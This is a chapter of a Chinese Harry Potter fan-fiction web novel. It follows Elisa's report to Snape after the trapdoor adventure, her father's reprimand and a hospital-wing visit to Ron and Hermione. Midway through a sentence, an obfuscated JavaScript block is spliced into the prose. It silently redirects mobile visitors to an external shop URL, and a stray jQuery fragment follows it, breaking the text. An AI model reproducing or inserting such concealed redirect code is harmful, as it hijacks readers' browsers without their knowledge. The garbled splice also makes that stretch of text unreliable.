文趣网 > 都市小说 > [HP]暗流之下 > 26. 第 26 章
    她刚准备起身往下一个房间走,忽然听见身后传来脚步声,她本能地往后退了半步,披紧了隐身衣。赫敏的身影从对面走廊的门口走了出来,像是从另一条路绕过来的。她看见倒在地上的罗恩和罗恩身上那件之前不存在的毯子时,步子猛地顿住了,魔杖几乎是瞬间抽了出来。

    “谁在这里?”赫敏的声音压得很低,但尾音有一丝几乎察觉不到的颤抖,“我看到毯子了,谁在这儿?”

    艾丽莎犹豫了一秒,把隐身衣从头顶扯开,露出自己的脸。

    赫敏的魔杖尖微微一晃,认出了她之后,长长地、无声地吐了一口气。“你怎么——”她没把话说全,目光从艾丽莎的脸上移到她手里的隐身衣上,像是想明白了什么。

    “我看见你们从塔楼出来了,”艾丽莎把隐身衣叠好夹在胳膊底下,没多做解释,“罗恩现在不能动,最好别搬他。你是要回去找教授吗?”

    赫敏点了点头,声音低而急促:“哈利进最后一个房间了,只能他自己进,他说斯、伏地魔应该就在里面。我出来找罗恩,打算一起回去找麦格教授。”

    “我们一起。”艾丽莎说,“多叫几个人比一个人好,罗恩放在这里暂时应该没事。”

    赫敏看了罗恩一眼,似乎在心里犹豫了几秒,最终咬牙点了点头。她们一起退回那间钥匙房,赫敏看了看了眼插在门上的翅膀,从地上捡起两把旧扫帚递了一把给艾丽莎。

    两个人骑着扫帚飞身而起,穿过那扇半开的木门,沿着走廊往回飞,赫敏走飞前面带路,艾丽莎紧跟在后面,怀里还夹着那件隐身衣。

    回到活门板下方时,头顶那团魔鬼藤还在微微蠕动着。赫敏抬头看了看,释放了一个火焰熊熊,魔鬼藤通人性般避开了危险。

    赫敏率先飞了上去,艾丽莎紧随其后。两人穿过那层缠动的藤蔓,从洞口翻了出来,回到四楼那个房间。

    八音盒还在墙角缓缓流淌着那支摇篮曲,三头犬三颗巨大的头颅仍然沉沉地叠在一起,鼾声均匀而绵长。

    赫敏看了一眼墙角那只还在叮咚作响的银色八音盒,又看了看旁边睡得沉沉的三头犬,眉头微微蹙了一下。

    她转过头来看着艾丽莎,目光里带着一丝困惑:“你怎么知道它听见音乐会睡着?”艾丽莎没有说话,只是抬头看了赫敏一眼:“走吧,我们分头去找教授,越快越好。”

    赫敏没有再多问,转身朝格兰芬多塔楼的方向跑去,脚步急促而坚定,袍角在昏暗的走廊里翻卷起一阵风,很快消失在转角处。

    艾丽莎站在原地,从手袋里抽出活点地图展开,目光快速扫过城堡的各层。

    斯内普的名字还在魔药办公室里,帕特里特的名字在教工宿舍方向,两个名字都静止不动。帕特里特应该已经回到住处休息了,她的指尖在地图边缘轻轻敲了两下,犹豫了一瞬。

    去找帕特里特?她几乎立刻否决了这个念头。如果敲响自己父亲的房门,顶着凌晨一点多的时间、站在他面前说自己刚从哪里回来——那无异于自投罗网。

    帕特里特会先听她把话说完,然后他会用一种她从小到大都熟悉的眼神看着她,平静地问“你为什么会出现在那里”,而她到时候连一句像样的辩解都拿不出来,她会彻彻底底地暴露自己今晚所有的行踪。

    她收好地图,转身朝着通往地窖的楼梯快步走去,靴子踩在石阶上发出细碎的、急促的回响。

    她停在了斯内普的办公室门前,黑色的木门厚重而沉默,门上没有任何装饰,像他本人一样不留任何可供揣度的余地。

    她深吸一口气,抬手敲了敲门。三声,不重不轻,在空旷的走廊里格外清晰。

    过了几秒,门内传来一阵不紧不慢的脚步声,然后门被拉开了。斯内普站在门后,穿着一件黑色高领衬衫,手里还捏着一卷羊皮纸,像是正在批改什么。他的目光落在艾丽莎身上时,眼睑微微眯了一下,眉骨之间的那道纹路沉了下去。

    “安布罗斯小姐,”他的声音平得听不出任何情绪,“你知道现在几点吗?”

    “教授,”艾丽莎的声音压得很低,但语速比平时快,“哈利、罗恩和赫敏去了四楼那间三头犬守护的房间,跳下了活门板。罗恩受伤了,在下面的密室里昏迷着。赫敏在去找麦格教授的路上。哈利进到最后一间密室了,他一个人。”

    斯内普的目光在她说第一句话的时候就变了——像一根绷紧的弦被突然拨动,虽然他脸上的表情几乎没有变化,但捏着羊皮纸的手指收了回去。

    他盯着她看了极短的一瞬,像是在判断她的话有几分可信,然后他把羊皮纸往桌上一搁,转身从衣帽架上扯下一件外袍披在肩上,动作迅速利落。

    他走到门口时停了一下,偏过头看了她一眼,语气平淡但底下压着一股不容违拗的硬度:“回公共休息室去。立刻。再让我看到你今晚在外面,后果自负。”

    艾丽莎往后退了半步,点了点头:“是,教授。”

    斯内普没再等她多说什么,斗篷在他身后翻卷出一阵黑色的风,他的脚步声沿着走廊远去,很快消失了。

    艾丽莎顺着地窖的走廊走回斯莱特林公共休息室,一路上没有遇到任何人。她轻轻推开宿舍的门,里面依旧一片昏暗,特雷西的呼吸声仍然平稳而绵长,睡姿和她离开时一模一样。

    艾丽莎把鞋脱了,连外套都没来得及解开就钻上了床,放下深绿色的帷幔,在昏暗的床铺里重新展开了活点地图。

    墨线在纸面上缓缓流动,城堡的名字在各个楼层里移动着。

    她看到赫敏的名字已经回到了格兰芬多塔楼的公共休息室里,和其他几个格兰芬多学生的墨点挨在一起,应该是已经安全回去了。

    她的目光移向四楼,那片地图上仍然看不到密室内部的情况,但有几个名字在走廊和楼梯上迅速移动着,朝着那个方向汇聚。

    斯内普的名字从地窖方向急速上升,沿途几乎没有任何停顿。帕特里特的名字从教工宿舍区出来了,方向也是四楼。麦格教授的名字从格兰芬多塔楼的方向也移动起来。弗立维教授的名字从六楼走廊里也拐了出来。还有海格,名字从城堡外的方向进入了门厅,正沿着楼梯向上。

    五个墨点从城堡的不同角落同时朝着四楼汇聚,像五条汇入同一条河流的支流。

    艾丽莎一瞬不瞬地盯着地图,看到他们在四楼走廊里先后相遇,几个名字短暂地停靠在一起,然后一同进入了那扇活门板所在房间的门口,在地图的边缘齐齐消失了。

    她又等了一会儿,地图上什么也没有了。

    她靠着床头,抱着膝盖,盯着那片空白的四楼房间看了很久。宿舍里安安静静的,帷幔垂在她周围,像一道隔绝了外界所有声音的屏障。她不知道下面正在进行什么,不知道哈利有没有事,不知道五个教授下去之后会看到什么场景。

    她只能等。

    过了将近一个小时,地图上终于重新出现了动静。

    那几个名字先后从四楼那间房间重新浮现出来——斯内普、帕特里特、麦格、弗立维、海格,还有一个名字夹在他们之间。哈利·波特。墨迹在纸面上微微发颤地移动着,像是疲惫极了,但仍然能自己走。

    艾丽莎的目光追着那个名字,确认它完好地出现在地图上,胸口那个堵了一整夜的东西才终于松散开来,变成一口长而轻的气息吐了出来。

    然后她又看到了一个名字。

    阿不思·邓布利多。

    艾丽莎盯着那个名字看了好几秒,手指攥着地图边缘微微收紧了。

    她忽然明白了——他从来没有离开过城堡,也没有缺席这一晚。他可能一直在最后的房间里等着,而那封从魔法部送来的紧急信件也是他的鱼饵,让奇洛和伏地魔知道他不在城堡,这个时候动手是绝对安全的。

    他只需要隐在那个放着厄里斯魔镜的房间,安安静静地等着一场他早就算准了的事情发生。他知道哈利会来,知道伏地魔会暴露,知道奇洛会在触碰哈利的皮肤时化为灰烬。

    他在钓鱼。

    从头到尾,他都在那个密室的终点等着那条鱼咬钩。

    艾丽莎仰面躺下来,看着头顶深绿色的帷幔在黑暗中微微晃动。她终于明白了一件事:在她披着隐身衣穿过那几间密室的时候,在她以为自己是唯一一个额外闯入的人的时候,邓布利多就在那间最后的房间里,等着一切落幕。

    好在,一切终于结束了。

    伏地魔已经离开了霍格沃茨,而且直到几年后的最终之战来临之前,他都不会再踏进这座城堡一步。自己终于可以放下这一年里所有的戒备和担忧,安安心心地做一个普通的学生,上课、考试、交朋友、在周末的午后坐在黑湖边晒太阳,把那些藏在心底的紧迫感暂时收起来。

    她知道自己还有几年时间可以好好长大、好好积累,在最终那场战争到来之前,把自己变成一个有足够力量站在该站位置上的人。

    她把地图放在枕边,合上眼睛,这一次,很快就睡着了。

    次日清晨,艾丽莎走进礼堂时脚步比平时轻了几分,阳光从高窗倾泻下来,在长桌上切出温暖的光带,空气里飘着烤面包和煎培根的香气,一切看起来和往常没有任何不同。

    她刚在斯莱特林长桌边坐下,还没来得及拿起南瓜汁,一只灰褐色的猫头鹰便从礼堂高窗俯冲下来,精准地落在她面前的桌面上,爪子下压着一只信封,封口处烙着安布罗斯家族的纹章。

    艾丽莎看着那只信封,端南瓜汁的手在半空中停了一瞬。她认出了帕特里特的字迹:锋利、端正、一笔一画都透着严谨,和他人一样不留多余的痕迹。

    她把信封收进口袋里,没有当着满礼堂人的面拆开,但心里已经大概猜到了里面写的是什么。

    昨晚那场混乱之后,帕特里特不可能不知道她也涉足了其中。她是他的女儿,而他昨晚就在四楼走廊里和斯内普、麦格他们站在一起,等他回去坐下来从头到尾理一遍事情经过,她的名字迟早会出现在那些线索的交汇点上。

    早饭过后,艾丽莎没有回公共休息室,径直穿过走廊上了三楼,停在了帕特里特的办公室门前。她敲了三下,门从里面打开了。帕特里特站在门后,穿着一件深灰色的长袍,手里还捏着一支羽毛笔,桌面上的羊皮纸摊着没来得及收拢,看样子是正在写什么。他看了她一眼,把门让开了一条缝。

    “进来。”

    艾丽莎走进去,站在办公桌前。门在她身后合上了,发出一声轻微的、沉闷的响。

    帕特里特绕到桌子后面坐下,把羽毛笔搁在墨水瓶上,双手交叉放在桌面上,看着她。他沉默了几秒,然后开口了,语气不重,但每个字都像经过称量:“昨晚的事,我听说了。”

    艾丽莎没有说话。

    “你知道我听说的时候是什么感觉吗?”帕特里特的声音仍然平缓,但尾音沉了一点,“我站在四楼走廊上,斯内普告诉我你半夜敲了他的门,说你从活门板下面上来,还说你亲眼看到了罗恩·韦斯莱受伤昏迷。你猜我当时在想什么?”

    艾丽莎的目光落在桌角的墨水瓶上,没有抬起来。

    “我在想,你一个人去了那里。活门板下面是什么地方?你清楚,我也清楚。那不是一个一年级学生该去的地方。你父亲就在这座城堡里,你遇到任何事情的第一反应,不应该是来找我吗?”

    艾丽莎的嘴唇动了一下,终于开口了,声音比她自己预想的低了一些:“如果我告诉你,你就不会让我去了。”

    帕特里特没有否认。他只是看着她,目光里带着一种她看不太懂的复杂情绪,像是生气和担忧搅在一起揉成了一团。“你说得对,我不会让你去。因为我宁愿你好好地待在地窖里睡觉,也不愿意你在那下面出事。要是你实在是担心朋友们的安全,你也可以来找我。可你没有来,你宁可自己钻进那扇活门板、顺着魔鬼藤滑下去、在密室里走了一圈,你也不愿意先敲一下我的门。”

    他顿了一下,往后靠了靠椅背,双手松开搁在扶手上。“这事儿还没完。我已经给你祖父写了信,弗雷德里克应该很快就会收到。”

    艾丽莎的手在袍子底下微微攥了一下,闭上了眼睛。

    “你当初答应过他什么?”帕特里特问。

    “离藏魔法石的那间房间远一点。”艾丽莎小声说。

    “对。你答应过。然后你去了。”

    艾丽莎没有辩解。她确实答应过祖父,也确实违背了那个承诺。无论理由是什么——她想确认朋友的安全也好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822109|211165||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    、她有活点地图可以避人耳目也好、她知道哈利最终会赢也好……在祖父和父亲看来,那些都只是借口。

    她知道自己暑假回到安布罗斯庄园之后,还会有另一场对话等着她。祖父不会吼她,他从来不会吼任何人。但他会坐在那把靠窗的旧扶手椅上,摘下老花镜,用那双洞悉一切的眼睛看着她,用一种比吼叫更让人没法招架的平静语气,把所有的话一一摊开来说,那比挨骂还让人难受。

    帕特里特看她的表情,知道她已经明白了。他的语气缓和了一些,但仍然没有松动:“去医疗翼看你的朋友们去吧,暑假我们再说。”

    艾丽莎点了点头,转身走出了办公室。

    门在她身后合上的时候,她靠在走廊的石墙上站了两秒,长长地叹了一口气。然后她站直身体,朝楼梯方向走去,脚步比来时慢了一些,但已经不那么紧绷了。起码在霍格沃茨的最后这几天,她还能安安稳稳地坐在教室里、躺在黑湖边的草地上,把所有的问责都留到暑假再面对。

    艾丽莎沿着走廊往医疗翼走去。城堡里安安静静的,昨晚那场惊心动魄的混乱似乎已经被晨光彻底抹平了,窗外的阳光照在石墙上,投下一块块暖融融的光斑,一切都和任何一个平常的六月早晨没什么两样。

    她推开医疗翼的门时,里面还没有什么人。几排床铺整齐地排列着,白色的帷幔半拉着,只有最里面那两张床旁亮着灯。

    罗恩靠在一只枕头上半坐着,额角的伤口已经被处理过了,贴着一小块白色的纱布,气色比昨晚好了太多。赫敏坐在他床边的椅子上,手里捧着一本书但显然没有在看,目光时不时抬起来和罗恩说两句什么。听见开门声,两个人同时转过头来。

    “艾丽莎!”罗恩朝她招了招手,语气里带着一种大病初愈后的轻快,“你来了!赫敏跟我说了,昨晚你给我披了毯子。还好有你,不然我躺那石板上几个小时,今天肯定得着凉。”

    艾丽莎走到床边,在床沿坐下来,先没急着说话。她从手袋里掏出两样东西放在罗恩的被子上:一包蜂蜜公爵的薄荷硬糖,还有一小瓶庞弗雷夫人常备的那种提神剂,是她从公共休息室的医药箱里顺来的。“给你带的。”她把糖推过去,“薄荷糖和提神剂。”

    罗恩眼睛一亮,一把抓过那包薄荷糖拆开了,往嘴里丢了一颗含含糊糊地说:“你太好了,我得在这儿躺到下午才能出去,正馋东西吃呢。”

    艾丽莎又看了一眼旁边床上的哈利,他睡得很沉,被子盖到下巴,脸上带着一种倦极之后终于落下来的松弛,额头的伤疤在晨光里依稀可见,但没什么异样。

    罗恩顺着她的视线望去,“哈利还没醒,不过庞弗雷夫人说他没事,就是魔力耗尽了,等恢复过来就能醒。”

    “那就好。”艾丽莎又从手袋里摸出一小盒蜂蜜公爵的巧克力蛙放在哈利的床头柜上,压了一张纸条,上面写着“醒了吃——艾丽莎”。

    赫敏合上手里的书,看着她,带着一种认真的、好像想了很久才决定开口的慎重:“艾丽莎,你说你是怎么知道要用音乐让路威睡着的?”

    艾丽莎的目光没有躲闪,她早就想好了一个不那么复杂但足以让人接受的回答:“我看到地上有把竖琴,想着可能是有人用它哄过路威。试试呗,结果音乐一响,它果然慢慢就睡着了。”

    赫敏看着她,像是在判断这句话里有没有漏掉什么没说出来的部分,但最终没有追问,只是点了点头。

    艾丽莎顺手从手袋里又摸出一只小布袋递给赫敏,里面装着几块她早上从礼堂带出来的新鲜柠檬挞,纸袋底下还垫了一层油纸防止压碎。“给你带的,你昨晚也没睡,吃块甜的吧。”赫敏接过去,嘴角弯了一下,低低说了句“谢谢”,声音里带着那种被照顾到时才有的、不太好意思的柔和。

    艾丽莎又从手袋里抽出那件叠好的隐身衣,银灰色的织物在晨光里泛着细密的微光,她把隐身衣递到罗恩面前:“这个我顺手捡回来的,在路威那个房间里,你们谁落在那儿的?”

    罗恩伸手接过来,布料在他手里滑展开来,轻盈得像一捧水,几乎感觉不到重量:“是哈利的。他跳下活门板之前脱下来丢在那里的,忘拿了。”他把隐身衣叠好放在哈利床头的柜子上,“我待会儿帮他收起来。”

    艾丽莎看着那件银灰色的织物,顿了一下。“罗恩,赫敏,”她的声音放低了一点,语气认真了一些,“这个斗篷应该不是普通的隐身斗篷。市面上的隐身斗篷大多是用隐形兽的毛发编织的,时效有限,或者就是普通斗篷施加了幻身咒,那种用多了会失效。但你们手里这一件,”她指了指那件叠好的衣物,“它隔绝气息,不会被任何探查咒语破解,我甚至觉得市面上可能找不出第二件。”

    罗恩抬起头看了她一眼,目光忽然变了,他脸上的轻松敛去了,变得比刚才沉了一些,像是有一根弦被他不动声色地绷紧了。

    艾丽莎没有避让他的目光,她知道罗恩听懂了。她对上罗恩的视线,语气比之前郑重了一些:“不要让其他人知道它的存在。”

    罗恩微微点了点头,嘴唇抿了一下,没有再追问。

    赫敏坐在旁边,目光在两人之间来回移动了一下,眉头轻轻皱起来,像是隐约察觉到了什么她没能完全抓住的东西,但又听不太明白。“你们在说什么?”她问,“什么兽毛、幻身咒的——这个斗篷有什么特别的?”

    艾丽莎看了罗恩一眼,罗恩没有说话,只是微微动了一下下巴示意由她来说。

    她从手袋里翻出了那本《诗翁彼豆故事集》,封面有些旧了,书脊处磨得发白,是她从庄园小书房里带出来、一直放在手袋里翻过几次的那一本。她把书递到赫敏面前。

    “你翻翻第三章。”艾丽莎说。

    赫敏接过书,翻开到第三章。她的目光在纸面上快速扫过,先是漫不经心,然后速度放慢了一些,像是在重读某一段。她抬起头看了艾丽莎一眼,又低下头重新看了一遍,然后她的眉头微微扬了起来。

    “三兄弟的传说——”赫敏低声念出标题,然后顿了一下,“你们是说——”

    “我是说,这件隐身衣的存在,别再告诉别人了。”艾丽莎站起来拍了拍袍子,朝两人笑了笑,“我先走了,下午再来看看哈利。”